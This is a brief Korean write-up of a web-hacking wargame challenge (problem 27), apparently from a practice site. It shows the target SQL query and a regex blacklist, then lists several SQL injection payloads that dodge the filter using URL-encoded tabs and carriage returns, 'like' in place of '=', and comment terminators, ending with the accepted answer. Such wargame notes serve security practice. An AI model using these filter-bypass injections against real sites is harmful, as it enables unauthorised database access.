웹해킹 27번 문제

"select id from chall27 where id = 'guest' and no = 2 "

"select id from chall27 where id = 'guest' and no = '1' "

​

#, select, (, 공백, limit, = 이 있으면 no hack

​

("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");

​

no=-1%09or%09no=2--

%0d-1%09or%09no%0d2--

%0d-1%09or%09no%0d2#

​

no = (0) or no like 2--

=%090%09or%09no%09like%092-- (내가 생각했던 부분)

=0)%09or%09no%09like%092--%09 (정답)